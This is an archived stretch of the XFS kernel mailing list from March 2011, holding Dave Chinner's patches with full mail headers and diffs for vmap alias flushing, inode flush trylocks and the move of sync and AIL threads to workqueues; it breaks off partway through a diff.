1PxSwu-0002s2-RM for xfs@oss.sgi.com; Thu, 10 Mar 2011 10:37:48 +1100 Received: from dave by disappointment with local (Exim 4.72) (envelope-from ) id 1PxSx2-00021T-LV for xfs@oss.sgi.com; Thu, 10 Mar 2011 10:37:56 +1100 From: Dave Chinner To: xfs@oss.sgi.com X-ASG-Orig-Subj: [PATCH] xfs: flush vmap aliases when mapping fails Subject: [PATCH] xfs: flush vmap aliases when mapping fails Date: Thu, 10 Mar 2011 10:37:56 +1100 Message-Id: <1299713876-7747-1-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.7.2.3 X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1299713893 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.57546 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean From: Dave Chinner On 32 bit systems, vmalloc space is limited and XFS can chew through it quickly as the vmalloc space is lazily freed. This can result in failure to map buffers, even when there is apparently large amounts of vmalloc space available. Hence, if we fail to map a buffer, purge the aliases that have not yet been freed to hopefuly free up enough vmalloc space to allow a retry to succeed. Signed-off-by: Dave Chinner --- fs/xfs/linux-2.6/xfs_buf.c | 14 +++++++++++--- 1 files changed, 11 insertions(+), 3 deletions(-) diff --git a/fs/xfs/linux-2.6/xfs_buf.c b/fs/xfs/linux-2.6/xfs_buf.c index 3cc671c..a5a260f 100644 --- a/fs/xfs/linux-2.6/xfs_buf.c +++ b/fs/xfs/linux-2.6/xfs_buf.c @@ -455,9 +455,17 @@ _xfs_buf_map_pages( bp->b_addr = page_address(bp->b_pages[0]) + bp->b_offset; bp->b_flags |= XBF_MAPPED; } else if (flags & XBF_MAPPED) { - bp->b_addr = vm_map_ram(bp->b_pages, bp->b_page_count, - -1, PAGE_KERNEL); - if (unlikely(bp->b_addr == NULL)) + int retried = 0; + + do { + bp->b_addr = vm_map_ram(bp->b_pages, bp->b_page_count, + -1, PAGE_KERNEL); + if (bp->b_addr) + break; + vm_unmap_aliases(); + } while (retried++ <= 1); + + if (!bp->b_addr) return -ENOMEM; bp->b_addr += bp->b_offset; bp->b_flags |= XBF_MAPPED; -- 1.7.2.3 From dave@fromorbit.com Wed Mar 9 18:02:43 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2A02c5U068750 for ; Wed, 9 Mar 2011 18:02:43 -0600 X-ASG-Debug-ID: 1299715526-705900c40000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ipmail07.adl2.internode.on.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 40A0A1BD3520 for ; Wed, 9 Mar 2011 16:05:27 -0800 (PST) Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id qFvQnzUyDz0nm3vQ for ; Wed, 09 Mar 2011 16:05:27 -0800 (PST) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AvsEAKqhd015LK5J/2dsb2JhbACmcXXDKYVlBJIl Received: from ppp121-44-174-73.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.73]) by ipmail07.adl2.internode.on.net with ESMTP; 10 Mar 2011 10:35:26 +1030 Received: from chute ([192.168.1.1] helo=disappointment) by dastard with esmtp (Exim 4.72) (envelope-from ) id 1PxTNc-0002vO-T1 for xfs@oss.sgi.com; Thu, 10 Mar 2011 11:05:24 +1100 Received: from dave by disappointment with local (Exim 4.72) (envelope-from ) id 1PxTNk-0002t4-Q1 for xfs@oss.sgi.com; Thu, 10 Mar 2011 11:05:32 +1100 From: Dave Chinner To: xfs@oss.sgi.com X-ASG-Orig-Subj: [PATCH 1/6] xfs: introduce inode cluster buffer trylocks for xfs_iflush Subject: [PATCH 1/6] xfs: introduce inode cluster buffer trylocks for xfs_iflush Date: Thu, 10 Mar 2011 11:05:24 +1100 Message-Id: <1299715529-11026-2-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.7.2.3 In-Reply-To: <1299715529-11026-1-git-send-email-david@fromorbit.com> References: <1299715529-11026-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1299715528 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.57548 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean From: Dave Chinner There is an ABBA deadlock between synchronous inode flushing in xfs_reclaim_inode and xfs_icluster_free. xfs_icluster_free locks the buffer, then takes inode ilocks, whilst synchronous reclaim takes the ilock followed by the buffer lock in xfs_iflush(). To avoid this deadlock, separate the inode cluster buffer locking semantics from the synchronous inode flush semantics, allowing callers to attempt to lock the buffer but still issue synchronous IO if it can get the buffer. This requires xfs_iflush() calls that currently use non-blocking semantics to pass SYNC_TRYLOCK rather than 0 as the flags parameter. This allows xfs_reclaim_inode to avoid the deadlock on the buffer lock and detect the failure so that it can drop the inode ilock and restart the reclaim attempt on the inode. This allows xfs_ifree_cluster to obtain the inode lock, mark the inode stale and release it and hence defuse the deadlock situation. It also has the pleasant side effect of avoiding IO in xfs_reclaim_inode when it tries to next reclaim the inode as it is now marked stale. Signed-off-by: Dave Chinner --- fs/xfs/linux-2.6/xfs_super.c | 2 +- fs/xfs/linux-2.6/xfs_sync.c | 30 +++++++++++++++++++++++++++--- fs/xfs/xfs_inode.c | 2 +- fs/xfs/xfs_inode_item.c | 6 +++--- 4 files changed, 32 insertions(+), 8 deletions(-) diff --git a/fs/xfs/linux-2.6/xfs_super.c b/fs/xfs/linux-2.6/xfs_super.c index 818c4cf..8a70b2a 100644 --- a/fs/xfs/linux-2.6/xfs_super.c +++ b/fs/xfs/linux-2.6/xfs_super.c @@ -1078,7 +1078,7 @@ xfs_fs_write_inode( error = 0; goto out_unlock; } - error = xfs_iflush(ip, 0); + error = xfs_iflush(ip, SYNC_TRYLOCK); } out_unlock: diff --git a/fs/xfs/linux-2.6/xfs_sync.c b/fs/xfs/linux-2.6/xfs_sync.c index 6c10f1d..594cd82 100644 --- a/fs/xfs/linux-2.6/xfs_sync.c +++ b/fs/xfs/linux-2.6/xfs_sync.c @@ -761,8 +761,10 @@ xfs_reclaim_inode( struct xfs_perag *pag, int sync_mode) { - int error = 0; + int error; +restart: + error = 0; xfs_ilock(ip, XFS_ILOCK_EXCL); if (!xfs_iflock_nowait(ip)) { if (!(sync_mode & SYNC_WAIT)) @@ -788,9 +790,31 @@ xfs_reclaim_inode( if (xfs_inode_clean(ip)) goto reclaim; - /* Now we have an inode that needs flushing */ - error = xfs_iflush(ip, sync_mode); + /* + * Now we have an inode that needs flushing. + * + * We do a nonblocking flush here even if we are doing a SYNC_WAIT + * reclaim as we can deadlock with inode cluster removal. + * xfs_ifree_cluster() can lock the inode buffer before it locks the + * ip->i_lock, and we are doing the exact opposite here. As a result, + * doing a blocking xfs_itobp() to get the cluster buffer will result + * in an ABBA deadlock with xfs_ifree_cluster(). + * + * As xfs_ifree_cluser() must gather all inodes that are active in the + * cache to mark them stale, if we hit this case we don't actually want + * to do IO here - we want the inode marked stale so we can simply + * reclaim it. Hence if we get an EAGAIN error on a SYNC_WAIT flush, + * just unlock the inode, back off and try again. Hopefully the next + * pass through will see the stale flag set on the inode. + */ + error = xfs_iflush(ip, SYNC_TRYLOCK | sync_mode); if (sync_mode & SYNC_WAIT) { + if (error == EAGAIN) { + xfs_iunlock(ip, XFS_ILOCK_EXCL); + /* backoff longer than in xfs_ifree_cluster */ + delay(2); + goto restart; + } xfs_iflock(ip); goto reclaim; } diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c index da871f5..742c833 100644 --- a/fs/xfs/xfs_inode.c +++ b/fs/xfs/xfs_inode.c @@ -2835,7 +2835,7 @@ xfs_iflush( * Get the buffer containing the on-disk inode. */ error = xfs_itobp(mp, NULL, ip, &dip, &bp, - (flags & SYNC_WAIT) ? XBF_LOCK : XBF_TRYLOCK); + (flags & SYNC_TRYLOCK) ? XBF_TRYLOCK : XBF_LOCK); if (error || !bp) { xfs_ifunlock(ip); return error; diff --git a/fs/xfs/xfs_inode_item.c b/fs/xfs/xfs_inode_item.c index fd4f398..46cc401 100644 --- a/fs/xfs/xfs_inode_item.c +++ b/fs/xfs/xfs_inode_item.c @@ -760,11 +760,11 @@ xfs_inode_item_push( * Push the inode to it's backing buffer. This will not remove the * inode from the AIL - a further push will be required to trigger a * buffer push. However, this allows all the dirty inodes to be pushed - * to the buffer before it is pushed to disk. THe buffer IO completion - * will pull th einode from the AIL, mark it clean and unlock the flush + * to the buffer before it is pushed to disk. The buffer IO completion + * will pull the inode from the AIL, mark it clean and unlock the flush * lock. */ - (void) xfs_iflush(ip, 0); + (void) xfs_iflush(ip, SYNC_TRYLOCK); xfs_iunlock(ip, XFS_ILOCK_SHARED); } -- 1.7.2.3 From dave@fromorbit.com Wed Mar 9 18:02:44 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2A02dmm068752 for ; Wed, 9 Mar 2011 18:02:44 -0600 X-ASG-Debug-ID: 1299715526-705900c40001-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ipmail07.adl2.internode.on.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 73D121BD3520 for ; Wed, 9 Mar 2011 16:05:28 -0800 (PST) Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id jECpTE4gAMap52JS for ; Wed, 09 Mar 2011 16:05:28 -0800 (PST) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AvsEAKqhd015LK5J/2dsb2JhbACmcXXDKYVlBA Received: from ppp121-44-174-73.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.73]) by ipmail07.adl2.internode.on.net with ESMTP; 10 Mar 2011 10:35:26 +1030 Received: from chute ([192.168.1.1] helo=disappointment) by dastard with esmtp (Exim 4.72) (envelope-from ) id 1PxTNc-0002vN-R3 for xfs@oss.sgi.com; Thu, 10 Mar 2011 11:05:24 +1100 Received: from dave by disappointment with local (Exim 4.72) (envelope-from ) id 1PxTNk-0002t2-O2 for xfs@oss.sgi.com; Thu, 10 Mar 2011 11:05:32 +1100 From: Dave Chinner To: xfs@oss.sgi.com X-ASG-Orig-Subj: [PATCH 0/6] xfs: Reduce OOM kill problems under heavy load V2 Subject: [PATCH 0/6] xfs: Reduce OOM kill problems under heavy load V2 Date: Thu, 10 Mar 2011 11:05:23 +1100 Message-Id: <1299715529-11026-1-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.7.2.3 X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1299715529 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.57548 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Chris Mason reported recently that a concurent stress test (basically copying the linux kernel tree 20 times, verifying md5sums and deleting it in a loop concurrently) under low memory conditions was triggering the OOM killer muchmore easily than for btrfs. Turns out there are two main problems. The first is that unlinked inodes were not being reclaimed fast enough, leading to the OOM being declared when there are large numbers of reclaimable inodes still around. The second was that atime updates due to the verify step were creating large numbers of dirty inodes at the VFS level that were not being written back and hence made reclaimable before the system declared OOM and killed stuff. The first problem is fixed by making background inode reclaim more frequent and faster, kicking background reclaim from the inode cache shrinker so that when memory is low we always have background inode reclaim in progress, and finally making the shrinker reclaim scan block waiting on inodes to reclaim. This last step throttles memory reclaim to the speed at which we can reclaim inodes, a key step needed to prevent inodes from reclaim declaring OOM while there are still reclaimable inodes around. The background inode reclaim prevents this synchronous flush from finding dirty inodes and block on them in most cases and hence prevents performance regressions in more common workloads due to reclaim stalls. To enable this new functionality, the xfssyncd thread is replaced with a workqueue and the existing xfssyncd work replaced with a global workqueue. Hence all filesystems will share the same workqueue and we remove allt eh xfssyncd threads from the system. The ENOSPC inode flush is converted to use the workqueue, and optimised to only allow a single flush at a time. This significant speeds up ENOSPC processing under concurrent workloads as it removes all the unnecessary scanning that every single ENOSPC event currently queues to the xfssyncd. Finally, a new reinode reclaim worker is added to the workqueue that runs 5x more frequently that the xfssyncd to do the background inode reclaim scan. The second problem is could be fixed by making the XFS inode cache shrinker kick the bdi flusher to write back inodes if the bdi flusher is not already active. This, however, causes deadlocks when the bdi-flusher thread needs to be forked under memory pressure, so these patches have been dropped for now. An addition to the series is to push the AIL when we are under memory stress to speed up the cleaning of dirty metadata. While this does not avoid the problems with VFS level dirty objects, it does ensure we don't keep lots of dirty objects that the VFS knows nothing about pinned in memory when there is a shortage. By also pushing the AIL doing the periodic syncd work, we ensure that we always clear out dirty objects from the AIL regularly and hence allow the filesytem to idle correctly. Conversion of the xfsaild thread to a workqueue also simplifies the push trigger mechanism for cleaning the AIL and removes the need for a thread per filesystem for this work. Version 2: - drop writeback_inodes_sb_nr_if_idle() patch - no need for work_pending checks before queueing - the queuing already does this atomically. - remove xfs_syncd_lock as it is not necessary anymore - simplify inode reclaim trigger - add AIL pushing patches. From dave@fromorbit.com Wed Mar 9 18:02:45 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.8 required=5.0 tests=BAYES_00,J_CHICKENPOX_72 autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2A02eNf068755 for ; Wed, 9 Mar 2011 18:02:45 -0600 X-ASG-Debug-ID: 1299715528-325f02a50000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ipmail07.adl2.internode.on.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id C0351327A10 for ; Wed, 9 Mar 2011 16:05:29 -0800 (PST) Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id afIhDhgjz55ihTKa for ; Wed, 09 Mar 2011 16:05:29 -0800 (PST) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AvsEAKqhd015LK5J/2dsb2JhbACmcXXDKYVlBA Received: from ppp121-44-174-73.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.73]) by ipmail07.adl2.internode.on.net with ESMTP; 10 Mar 2011 10:35:26 +1030 Received: from chute ([192.168.1.1] helo=disappointment) by dastard with esmtp (Exim 4.72) (envelope-from ) id 1PxTNc-0002vR-W8 for xfs@oss.sgi.com; Thu, 10 Mar 2011 11:05:25 +1100 Received: from dave by disappointment with local (Exim 4.72) (envelope-from ) id 1PxTNk-0002t9-Ty for xfs@oss.sgi.com; Thu, 10 Mar 2011 11:05:32 +1100 From: Dave Chinner To: xfs@oss.sgi.com X-ASG-Orig-Subj: [PATCH 3/6] xfs: convert ENOSPC inode flushing to use new syncd workqueue Subject: [PATCH 3/6] xfs: convert ENOSPC inode flushing to use new syncd workqueue Date: Thu, 10 Mar 2011 11:05:26 +1100 Message-Id: <1299715529-11026-4-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.7.2.3 In-Reply-To: <1299715529-11026-1-git-send-email-david@fromorbit.com> References: <1299715529-11026-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1299715530 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.57548 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean From: Dave Chinner On of the problems with the current inode flush at ENOSPC is that we queue a flush per ENOSPC event, regardless of how many are already queued. Thi can result in hundreds of queued flushes, most of which simply burn CPU scanned and do no real work. This simply slows down allocation at ENOSPC. We really only need one active flush at a time, and we can easily implement that via the new xfs_syncd_wq. All we need to do is queue a flush if one is not already active, then block waiting for the currently active flush to complete. The result is that we only ever have a single ENOSPC inode flush active at a time and this greatly reduces the overhead of ENOSPC processing. On my 2p test machine, this results in tests exercising ENOSPC conditions running significantly faster - 042 halves execution time, 083 drops from 60s to 5s, etc - while not introducing test regressions. This allows us to remove the old xfssyncd threads and infrastructure as they are no longer used. Signed-off-by: Dave Chinner --- fs/xfs/linux-2.6/xfs_super.c | 2 - fs/xfs/linux-2.6/xfs_sync.c | 133 +++++++++++------------------------------ fs/xfs/xfs_mount.h | 4 +- 3 files changed, 37 insertions(+), 102 deletions(-) diff --git a/fs/xfs/linux-2.6/xfs_super.c b/fs/xfs/linux-2.6/xfs_super.c index 768894b..1cbee9c 100644 --- a/fs/xfs/linux-2.6/xfs_super.c +++ b/fs/xfs/linux-2.6/xfs_super.c @@ -1480,8 +1480,6 @@ xfs_fs_fill_super( spin_lock_init(&mp->m_sb_lock); mutex_init(&mp->m_growlock); atomic_set(&mp->m_active_trans, 0); - INIT_LIST_HEAD(&mp->m_sync_list); - spin_lock_init(&mp->m_sync_lock); mp->m_super = sb; sb->s_fs_info = mp; diff --git a/fs/xfs/linux-2.6/xfs_sync.c b/fs/xfs/linux-2.6/xfs_sync.c index 91c513b..62e1f09 100644 --- a/fs/xfs/linux-2.6/xfs_sync.c +++ b/fs/xfs/linux-2.6/xfs_sync.c @@ -433,99 +433,6 @@ xfs_quiesce_attr( xfs_unmountfs_writesb(mp); } -/* - * Enqueue a work item to be picked up by the vfs xfssyncd thread. - * Doing this has two advantages: - * - It saves on stack space, which is tight in certain situations - * - It can be used (with care) as a mechanism to avoid deadlocks. - * Flushing while allocating in a full filesystem requires both. - */ -STATIC void -xfs_syncd_queue_work( - struct xfs_mount *mp, - void *data, - void (*syncer)(struct xfs_mount *, void *), - struct completion *completion) -{ - struct xfs_sync_work *work; - - work = kmem_alloc(sizeof(struct xfs_sync_work), KM_SLEEP); - INIT_LIST_HEAD(&work->w_list); - work->w_syncer = syncer; - work->w_data = data; - work->w_mount = mp; - work->w_completion = completion; - spin_lock(&mp->m_sync_lock); - list_add_tail(&work->w_list, &mp->m_sync_list); - spin_unlock(&mp->m_sync_lock); - wake_up_process(mp->m_sync_task); -} - -/* - * Flush delayed allocate data, attempting to free up reserved space - * from existing allocations. At this point a new allocation attempt - * has failed with ENOSPC and we are in the process of scratching our - * heads, looking about for more room... - */ -STATIC void -xfs_flush_inodes_work( - struct xfs_mount *mp, - void *arg) -{ - struct inode *inode = arg; - xfs_sync_data(mp, SYNC_TRYLOCK); - xfs_sync_data(mp, SYNC_TRYLOCK | SYNC_WAIT); - iput(inode); -} - -void -xfs_flush_inodes( - xfs_inode_t *ip) -{ - struct inode *inode = VFS_I(ip); - DECLARE_COMPLETION_ONSTACK(completion); - - igrab(inode); - xfs_syncd_queue_work(ip->i_mount, inode, xfs_flush_inodes_work, &completion); - wait_for_completion(&completion); - xfs_log_force(ip->i_mount, XFS_LOG_SYNC); -} - -STATIC int -xfssyncd( - void *arg) -{ - struct xfs_mount *mp = arg; - long timeleft; - xfs_sync_work_t *work, *n; - LIST_HEAD (tmp); - - set_freezable(); - timeleft = xfs_syncd_centisecs * msecs_to_jiffies(10); - for (;;) { - if (list_empty(&mp->m_sync_list)) - timeleft = schedule_timeout_interruptible(timeleft); - /* swsusp */ - try_to_freeze(); - if (kthread_should_stop() && list_empty(&mp->m_sync_list)) - break; - - spin_lock(&mp->m_sync_lock); - list_splice_init(&mp->m_sync_list, &tmp); - spin_unlock(&mp->m_sync_lock); - - list_for_each_entry_safe(work, n, &tmp, w_list) { - (*work->w_syncer)(mp, work->w_data); - list_del(&work->w_list); - if (work->w_completion) - complete(work->w_completion); - kmem_free(work); - } - } - - return 0; -} - static void xfs_syncd_queue_sync( struct xfs_mount *mp) @@ -562,16 +469,48 @@ xfs_sync_worker( xfs_syncd_queue_sync(mp); } +/* + * Flush delayed allocate data, attempting to free up reserved space + * from existing allocations. At this point a new allocation attempt + * has failed with ENOSPC and we are in the process of scratching our + * heads, looking about for more room. + * + * Queue a new data flush if there isn't one already in progress and + * wait for completion of the flush. This means that we only ever have one + * inode flush in progress no matter how many ENOSPC events are occurring and + * so will prevent the system from bogging down due to every concurrent + * ENOSPC event scanning all the active inodes in the system for writeback. + */ +void +xfs_flush_inodes( + struct xfs_inode *ip) +{ + struct xfs_mount *mp = ip->i_mount; + + queue_work(xfs_syncd_wq, &mp->m_flush_work); + flush_work_sync(&mp->m_flush_work); +} + +STATIC void +xfs_flush_worker( + struct work_struct *work) +{ + struct xfs_mount *mp = container_of(work, + struct xfs_mount, m_flush_work); + + xfs_sync_data(mp, SYNC_TRYLOCK); + xfs_sync_data(mp, SYNC_TRYLOCK | SYNC_WAIT); + xfs_log_force(mp, XFS_LOG_SYNC); +} + int xfs_syncd_init( struct xfs_mount *mp) { + INIT_WORK(&mp->m_flush_work, xfs_flush_worker); INIT_DELAYED_WORK(&mp->m_sync_work, xfs_sync_worker); xfs_syncd_queue_sync(mp); - mp->m_sync_task = kthread_run(xfssyncd, mp, "xfssyncd/%s", mp->m_fsname); - if (IS_ERR(mp->m_sync_task)) - return -PTR_ERR(mp->m_sync_task); return 0; } @@ -580,7 +519,7 @@ xfs_syncd_stop( struct xfs_mount *mp) { cancel_delayed_work_sync(&mp->m_sync_work); - kthread_stop(mp->m_sync_task); + cancel_work_sync(&mp->m_flush_work); } void diff --git a/fs/xfs/xfs_mount.h b/fs/xfs/xfs_mount.h index 2c11e62..a0ad90e 100644 --- a/fs/xfs/xfs_mount.h +++ b/fs/xfs/xfs_mount.h @@ -204,9 +204,7 @@ typedef struct xfs_mount { #endif struct xfs_mru_cache *m_filestream; /* per-mount filestream data */ struct delayed_work m_sync_work; /* background sync work */ - struct task_struct *m_sync_task; /* generalised sync thread */ - struct list_head m_sync_list; /* sync thread work item list */ - spinlock_t m_sync_lock; /* work item list lock */ + struct work_struct m_flush_work; /* background inode flush */ __int64_t m_update_flags; /* sb flags we need to update on the next remount,rw */ struct shrinker m_inode_shrink; /* inode reclaim shrinker */ -- 1.7.2.3 From dave@fromorbit.com Wed Mar 9 18:02:46 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2A02fPY068757 for ; Wed, 9 Mar 2011 18:02:46 -0600 X-ASG-Debug-ID: 1299715526-705900c40002-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ipmail07.adl2.internode.on.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 7024C1BD3520 for ; Wed, 9 Mar 2011 16:05:29 -0800 (PST) Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id XeEikkZrHRsnhALM for ; Wed, 09 Mar 2011 16:05:29 -0800 (PST) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AvsEAKqhd015LK5J/2dsb2JhbACmcXXDKYVlBA Received: from ppp121-44-174-73.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.73]) by ipmail07.adl2.internode.on.net with ESMTP; 10 Mar 2011 10:35:26 +1030 Received: from chute ([192.168.1.1] helo=disappointment) by dastard with esmtp (Exim 4.72) (envelope-from ) id 1PxTNd-0002vZ-44 for xfs@oss.sgi.com; Thu, 10 Mar 2011 11:05:25 +1100 Received: from dave by disappointment with local (Exim 4.72) (envelope-from ) id 1PxTNl-0002tF-1R for xfs@oss.sgi.com; Thu, 10 Mar 2011 11:05:33 +1100 From: Dave Chinner To: xfs@oss.sgi.com X-ASG-Orig-Subj: [PATCH 5/6] xfs: convert the xfsaild threads to a workqueue Subject: [PATCH 5/6] xfs: convert the xfsaild threads to a workqueue Date: Thu, 10 Mar 2011 11:05:28 +1100 Message-Id: <1299715529-11026-6-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.7.2.3 In-Reply-To: <1299715529-11026-1-git-send-email-david@fromorbit.com> References: <1299715529-11026-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1299715531 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -1.52 X-Barracuda-Spam-Status: No, SCORE=-1.52 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests=BSF_RULE7568M X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.57548 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.50 BSF_RULE7568M Custom Rule 7568M X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean From: Dave Chinner Similar to the xfssyncd, the per-filesystem xfsaild threads can be converted to a global workqueue and run periodically by delayed works. This makes sense for the AIL pushing because it uses variable timeouts depending on the work that needs to be done. By removing the xfsaild, we simplify the AIL pushing code and remove the need to spread the code to implement the threading and pushing across multiple files. Signed-off-by: Dave Chinner --- fs/xfs/linux-2.6/xfs_super.c | 109 ++++++++++------------------------- fs/xfs/xfs_trans_ail.c | 130 ++++++++++++++++++++++++------------------ fs/xfs/xfs_trans_priv.h | 11 ++-- 3 files changed, 111 insertions(+), 139 deletions(-) diff --git a/fs/xfs/linux-2.6/xfs_super.c b/fs/xfs/linux-2.6/xfs_super.c index 1cbee9c..b0bcfb3 100644 --- a/fs/xfs/linux-2.6/xfs_super.c +++ b/fs/xfs/linux-2.6/xfs_super.c @@ -816,75 +816,6 @@ xfs_setup_devices( return 0; } -/* - * XFS AIL push thread support - */ -void -xfsaild_wakeup( - struct xfs_ail *ailp, - xfs_lsn_t threshold_lsn) -{ - /* only ever move the target forwards */ - if (XFS_LSN_CMP(threshold_lsn, ailp->xa_target) > 0) { - ailp->xa_target = threshold_lsn; - wake_up_process(ailp->xa_task); - } -} - -STATIC int -xfsaild( - void *data) -{ - struct xfs_ail *ailp = data; - xfs_lsn_t last_pushed_lsn = 0; - long tout = 0; /* milliseconds */ - - while (!kthread_should_stop()) { - /* - * for short sleeps indicating congestion, don't allow us to - * get woken early. Otherwise all we do is bang on the AIL lock - * without making progress. - */ - if (tout && tout <= 20) - __set_current_state(TASK_KILLABLE); - else - __set_current_state(TASK_INTERRUPTIBLE); - schedule_timeout(tout ? - msecs_to_jiffies(tout) : MAX_SCHEDULE_TIMEOUT); - - /* swsusp */ - try_to_freeze(); - - ASSERT(ailp->xa_mount->m_log); - if (XFS_FORCED_SHUTDOWN(ailp->xa_mount)) - continue; - - tout = xfsaild_push(ailp, &last_pushed_lsn); - } - - return 0; -} /* xfsaild */ - -int -xfsaild_start( - struct xfs_ail *ailp) -{ - ailp->xa_target = 0; - ailp->xa_task = kthread_run(xfsaild, ailp, "xfsaild/%s", - 